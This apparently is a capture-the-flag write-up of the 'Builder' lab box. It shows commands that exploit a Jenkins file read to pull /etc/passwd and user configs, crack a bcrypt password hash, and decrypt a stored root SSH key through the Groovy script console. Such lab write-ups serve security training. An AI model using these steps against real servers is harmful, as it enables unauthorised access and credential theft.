Post

Builder

Builder

Builder is a medium Linux box. The machine only has two ports open one of which is an open Jenkins portal. This version of Jenkins is vulnerable to a file disclosure. Using this arbitrary file read we can read configuration files which give us a hashed password for a user that has login access to Jenkins. After cracking this password we can run a script inside groovy script which lets us decrypt the private ssh key that gives us root access.

builder_info_card

Enumeration

Using nmap we see that there are only two ports open, ssh and 8080 which points to a Jenkins instance.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
nmap 10.10.11.10 -p22,8080 -oN nmap/builder -Pn -n -sCV
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-06 19:10 CEST
Nmap scan report for 10.10.11.10
Host is up (0.016s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open  http    Jetty 10.0.18
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: Dashboard [Jenkins]
|_http-server-header: Jetty(10.0.18)
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.59 seconds

If we go to http://10.10.11.10:8080/ we get to view the Jenkins portal. At the bottom right we get which version is running which is 2.441. Going over the users page we see that there is another user registered that being Jennifer.

builder

File Disclosure

This version is vulnerable to a file disclosure, I used this script to retrieve the files from the server. But before I could do this I had to get familiar with Jenkins and how it stores file and user information. Below is a handy table I found of how the jenkins home directory is structured.

1
2
3
4
5
6
7
8
9
10
11
12
13
/jenkins
├── config.xml
├── credentials.xml
├── jobs
├── plugins
├── users
├── secrets
├── fingerprints
├── workspace
├── logs
├── updates
├── userContent
└── ...

We can already see some files that could be of interest. Before we can retrieve them we must know their full path. I stumbled upon it by luck when testing for the file disclosure, when retrieving the /etc/passwd file I found the user Jenkins with its home directory located at var/jenkins_home. With the full path we can now try to retrieve the files.

1
2
3
4
python3 LFI.py -u http://10.10.11.10:8080/ -p /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
root:x:0:0:root:/root:/bin/bash
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash

With this file we can see that there is no one with a home directory in this machine so reading ssh keys is not going to work to get us access. Reading the credentials.xml file provides us with an encrypted text which seems to be an ssh key. I tried some scripts to decrypt it with some secret keys but they did not work. After doing some more research I was able to find that the file inside of var/jenkins_home/users/users.xml contains information about users.

1
2
3
4
5
6
7
8
9
10
11
python3 LFI.py -u http://10.10.11.10:8080/ -p /var/jenkins_home/users/users.xml
<?xml version='1.1' encoding='UTF-8'?>
      <string>jennifer_12108429903186576833</string>
  <idToDirectoryNameMap class="concurrent-hash-map">
    <entry>
      <string>jennifer</string>
  <version>1</version>
</hudson.model.UserIdMapper>
  </idToDirectoryNameMap>
<hudson.model.UserIdMapper>
    </entry>

Finding and Decrypting Jennifer’s Password

From this we get that Jennifer has a directory with a name of jennifer_12108429903186576833 inside this directory we can retrieve her configuration file. Which is located at var/jenkins_home/users/jennifer_12108429903186576833/config.xml. Inside this file we can find a hashed password.

1
2
3
4
python3 LFI.py -u http://10.10.11.10:8080/ -p /var/jenkins_home/users/jennifer_12108429903186576833/config.xml
...
...
<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>

The hash itself is $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a and we can use Hashcat with mode 3200 to crack it. Using rockyou.txt as a wordlist we get that the password is princess. Since Jennifer does not have a home directory and is not a user on the box we cant ssh into it just yet. But with this new credentials we can login as this user into the Jenkins instance.

Decrypting the SSH Key

Using this blog post about the same CVE I was able to decrypt the ssh key that we previously found in the credentials.xml file. We can now go to http://10.10.11.10:8080/script/ where we can use the terminal to run the following line of code:

1
println(hudson.util.Secret.fromString("{XXX=}").getPlainText())

After placing the encrypted key into XXX we get the private key to the user root which we can then use to ssh into the box.

1
2
3
4
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt3G9oUyouXj/0CLya9Wz7Vs31bC4rdvgv7n9PCwrApm8PmGCSLgv
...

builder

This post is licensed under CC BY 4.0 by the author.